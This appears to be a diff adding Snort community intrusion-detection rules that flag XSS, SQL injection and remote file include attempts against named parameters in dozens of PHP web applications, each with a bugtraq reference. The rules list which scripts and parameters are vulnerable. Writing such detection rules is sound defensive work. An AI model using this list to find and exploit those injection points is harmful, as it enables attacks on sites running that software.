+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPMyDirectory offer-pix.php xss attempt"; flow:to_server,established; uricontent:"/offer-pix.php"; nocase; uricontent:"PIC="; nocase; pcre:"/PIC(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18539; classtype:web-application-attack; sid:100000525; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPMyDirectory index.php xss attempt"; flow:to_server,established; uricontent:"cp/index.php"; nocase; uricontent:"from="; nocase; pcre:"/from(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18539; classtype:web-application-attack; sid:100000526; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP AssoCIateD index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"menu="; nocase; pcre:"/menu(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18541; classtype:web-application-attack; sid:100000527; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPMyForum topic.php xss attempt"; flow:to_server,established; uricontent:"/topic.php"; nocase; uricontent:"highlight="; nocase; pcre:"/highlight(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18542; classtype:web-application-attack; sid:100000528; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP NC Linklist index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"cat="; nocase; pcre:"/cat(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18546; classtype:web-application-attack; sid:100000529; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP NC Linklist index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"view="; nocase; pcre:"/view(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18546; classtype:web-application-attack; sid:100000530; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP BtitTracker torrents.php SQL injection attempt"; flow:to_server,established; uricontent:"/torrents.php"; nocase; uricontent:"by="; nocase; pcre:"/by(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18549; classtype:web-application-attack; sid:100000531; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP BtitTracker torrents.php SQL injection attempt"; flow:to_server,established; uricontent:"/torrents.php"; nocase; uricontent:"order="; nocase; pcre:"/order(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18549; classtype:web-application-attack; sid:100000532; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VUBB functions.php SQL injection attempt"; flow:to_server,established; uricontent:"includes/functions.php"; nocase; uricontent:"email="; nocase; pcre:"/email(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18561; classtype:web-application-attack; sid:100000533; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VUBB english.php xss attempt"; flow:to_server,established; uricontent:"language/english.php"; nocase; uricontent:"user="; nocase; pcre:"/user(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18562; classtype:web-application-attack; sid:100000534; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP IMGallery galeria.php SQL injection attempt"; flow:to_server,established; uricontent:"/galeria.php"; nocase; uricontent:"start="; nocase; pcre:"/start(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18566; classtype:web-application-attack; sid:100000535; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP IMGallery galeria.php SQL injection attempt"; flow:to_server,established; uricontent:"/galeria.php"; nocase; uricontent:"sort="; nocase; pcre:"/sort(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18566; classtype:web-application-attack; sid:100000536; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP thinkWMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18567; classtype:web-application-attack; sid:100000537; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP thinkWMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"catid="; nocase; pcre:"/catid(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18567; classtype:web-application-attack; sid:100000538; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP thinkWMS printarticle.php SQL injection attempt"; flow:to_server,established; uricontent:"/printarticle.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18567; classtype:web-application-attack; sid:100000539; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Enterprise Groupware index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"module="; nocase; pcre:"/module(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18590; classtype:web-application-attack; sid:100000540; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Dating Agent picture.php SQL injection attempt"; flow:to_server,established; uricontent:"/picture.php"; nocase; uricontent:"pid="; nocase; pcre:"/pid(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18607; classtype:web-application-attack; sid:100000541; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Dating Agent mem.php SQL injection attempt"; flow:to_server,established; uricontent:"/mem.php"; nocase; uricontent:"mid="; nocase; pcre:"/mid(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18607; classtype:web-application-attack; sid:100000542; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Dating Agent search.php SQL injection attempt"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"sex="; nocase; pcre:"/sex(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18607; classtype:web-application-attack; sid:100000543; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Dating Agent search.php SQL injection attempt"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"relationship="; nocase; pcre:"/relationship(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18607; classtype:web-application-attack; sid:100000544; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP Blue Dragon CMS team_admin.php remote file include"; flow:to_server,established; uricontent:"root_includes/root_modules/team_admin.php"; nocase; uricontent:"DragonRootPath="; nocase; pcre:"/DragonRootPath=(https?|ftp)/Ui"; reference:bugtraq,18609; classtype:web-application-attack; sid:100000545; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP Blue Dragon CMS rss_admin.php remote file include"; flow:to_server,established; uricontent:"root_includes/root_modules/rss_admin.php"; nocase; uricontent:"DragonRootPath="; nocase; pcre:"/DragonRootPath=(https?|ftp)/Ui"; reference:bugtraq,18609; classtype:web-application-attack; sid:100000546; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP Blue Dragon CMS manual_admin.php remote file include"; flow:to_server,established; uricontent:"root_includes/root_modules/manual_admin.php"; nocase; uricontent:"DragonRootPath="; nocase; pcre:"/DragonRootPath=(https?|ftp)/Ui"; reference:bugtraq,18609; classtype:web-application-attack; sid:100000547; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP Blue Dragon CMS forum_admin.php remote file include"; flow:to_server,established; uricontent:"root_includes/root_modules/forum_admin.php"; nocase; uricontent:"DragonRootPath="; nocase; pcre:"/DragonRootPath=(https?|ftp)/Ui"; reference:bugtraq,18609; classtype:web-application-attack; sid:100000548; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Custom Datin Biz user_view.php xss attempt"; flow:to_server,established; uricontent:"/user_view.php"; nocase; uricontent:"u="; nocase; pcre:"/u(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18626; classtype:web-application-attack; sid:100000549; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Project Eros BBSEngine comment.php access"; flow:to_server,established; uricontent:"/comment.php"; nocase; uricontent:"="; nocase;  reference:bugtraq,18627; classtype:web-application-activity; sid:100000550; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Project Eros BBSEngine aolbonics.php access"; flow:to_server,established; uricontent:"/aolbonics.php"; nocase; uricontent:"="; nocase;  reference:bugtraq,18627; classtype:web-application-activity; sid:100000551; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SmartSiteCMS inc_foot.php remote file include"; flow:to_server,established; uricontent:"include/inc_foot.php"; nocase; uricontent:"root="; nocase; pcre:"/root=(https?|ftp)/Ui"; reference:bugtraq,18628; classtype:web-application-attack; sid:100000552; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPMySMS gateway.php remote file include"; flow:to_server,established; uricontent:"sms_config/gateway.php"; nocase; uricontent:"ROOT_PATH="; nocase; pcre:"/ROOT_PATH=(https?|ftp)/Ui"; reference:bugtraq,18633; classtype:web-application-attack; sid:100000553; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VebiMiau error.php xss attempt"; flow:to_server,established; uricontent:"/error.php"; nocase; uricontent:"tid="; nocase; pcre:"/tid(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18643; classtype:web-application-attack; sid:100000554; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VebiMiau error.php xss attempt"; flow:to_server,established; uricontent:"/error.php"; nocase; uricontent:"lid="; nocase; pcre:"/lid(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18643; classtype:web-application-attack; sid:100000555; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VebiMiau error.php xss attempt"; flow:to_server,established; uricontent:"/error.php"; nocase; uricontent:"sid="; nocase; pcre:"/sid(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18643; classtype:web-application-attack; sid:100000556; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VebiMiau index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"f_user="; nocase; pcre:"/f_user(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18643; classtype:web-application-attack; sid:100000557; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VebiMiau messages.php xss attempt"; flow:to_server,established; uricontent:"/messages.php"; nocase; uricontent:"pag="; nocase; pcre:"/pag(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18643; classtype:web-application-attack; sid:100000558; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Infinite Core Technologies ICT index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"post="; nocase; pcre:"/post(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18644; classtype:web-application-attack; sid:100000559; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP eNpaper1 root_header.php remote file include"; flow:to_server,established; uricontent:"/root_header.php"; nocase; uricontent:"ppath="; nocase; pcre:"/ppath=(https?|ftp)/Ui"; reference:bugtraq,18649; classtype:web-application-attack; sid:100000560; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP dotProject ui.class.php xss attempt"; flow:to_server,established; uricontent:"/ui.class.php"; nocase; uricontent:"login="; nocase; pcre:"/login(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18650; classtype:web-application-attack; sid:100000561; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt"; flow:to_server,established; uricontent:"/show.php"; nocase; uricontent:"sort="; nocase; pcre:"/sort(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18651; classtype:web-application-attack; sid:100000562; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt"; flow:to_server,established; uricontent:"/show.php"; nocase; uricontent:"page="; nocase; pcre:"/page(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18651; classtype:web-application-attack; sid:100000563; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt"; flow:to_server,established; uricontent:"/show.php"; nocase; uricontent:"search="; nocase; pcre:"/search(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18651; classtype:web-application-attack; sid:100000564; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt"; flow:to_server,established; uricontent:"/show.php"; nocase; uricontent:"action="; nocase; pcre:"/action(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18651; classtype:web-application-attack; sid:100000565; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP XennoBB messages.php xss attempt"; flow:to_server,established; uricontent:"/messages.php"; nocase; uricontent:"tid="; nocase; pcre:"/tid(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18652; classtype:web-application-attack; sid:100000566; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Qdig index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"pre_gallery="; nocase; pcre:"/pre_gallery(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18653; classtype:web-application-attack; sid:100000567; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Qdig index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"post_gallery="; nocase; pcre:"/post_gallery(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18653; classtype:web-application-attack; sid:100000568; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu app_change_email.php remote file include"; flow:to_server,established; uricontent:"admin/app_change_email.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000569; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu app_change_pwd.php remote file include"; flow:to_server,established; uricontent:"admin/app_change_pwd.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000570; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu app_mod_rewrite.php remote file include"; flow:to_server,established; uricontent:"admin/app_mod_rewrite.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000571; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu app_page_caching.php remote file include"; flow:to_server,established; uricontent:"admin/app_page_caching.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000572; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu app_setup.php remote file include"; flow:to_server,established; uricontent:"admin/app_setup.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000573; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_add.php remote file include"; flow:to_server,established; uricontent:"admin/cat_add.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000574; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_delete.php remote file include"; flow:to_server,established; uricontent:"admin/cat_delete.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000575; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_edit.php remote file include"; flow:to_server,established; uricontent:"admin/cat_edit.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000576; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_path_update.php remote file include"; flow:to_server,established; uricontent:"admin/cat_path_update.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000577; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_search.php remote file include"; flow:to_server,established; uricontent:"admin/cat_search.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000578; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_struc.php remote file include"; flow:to_server,established; uricontent:"admin/cat_struc.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000579; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_view.php remote file include"; flow:to_server,established; uricontent:"admin/cat_view.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000580; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_view_hidden.php remote file include"; flow:to_server,established; uricontent:"admin/cat_view_hidden.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000581; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_view_hierarchy.php remote file include"; flow:to_server,established; uricontent:"admin/cat_view_hierarchy.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000582; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu cat_view_registered_only.php remote file include"; flow:to_server,established; uricontent:"admin/cat_view_registered_only.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000583; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu checkurl_web.php remote file include"; flow:to_server,established; uricontent:"admin/checkurl_web.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000584; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu db_alter.php remote file include"; flow:to_server,established; uricontent:"admin/db_alter.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000585; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu db_alter_change.php remote file include"; flow:to_server,established; uricontent:"admin/db_alter_change.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000586; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu db_backup.php remote file include"; flow:to_server,established; uricontent:"admin/db_backup.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000587; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu db_export.php remote file include"; flow:to_server,established; uricontent:"admin/db_export.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000588; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu db_import.php remote file include"; flow:to_server,established; uricontent:"admin/db_import.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000589; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu editor_add.php remote file include"; flow:to_server,established; uricontent:"admin/editor_add.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000590; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu editor_delete.php remote file include"; flow:to_server,established; uricontent:"admin/editor_delete.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000591; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu editor_validate.php remote file include"; flow:to_server,established; uricontent:"admin/editor_validate.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000592; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu head.php remote file include"; flow:to_server,established; uricontent:"admin/head.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000593; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu index.php remote file include"; flow:to_server,established; uricontent:"admin/index.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000594; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_config.php remote file include"; flow:to_server,established; uricontent:"admin/inv_config.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000595; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_config_payment.php remote file include"; flow:to_server,established; uricontent:"admin/inv_config_payment.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000596; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_create.php remote file include"; flow:to_server,established; uricontent:"admin/inv_create.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000597; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_delete.php remote file include"; flow:to_server,established; uricontent:"admin/inv_delete.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000598; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_edit.php remote file include"; flow:to_server,established; uricontent:"admin/inv_edit.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000599; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_markpaid.php remote file include"; flow:to_server,established; uricontent:"admin/inv_markpaid.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000600; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_markunpaid.php remote file include"; flow:to_server,established; uricontent:"admin/inv_markunpaid.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000601; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_overdue.php remote file include"; flow:to_server,established; uricontent:"admin/inv_overdue.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000602; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_paid.php remote file include"; flow:to_server,established; uricontent:"admin/inv_paid.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000603; rev:2;)
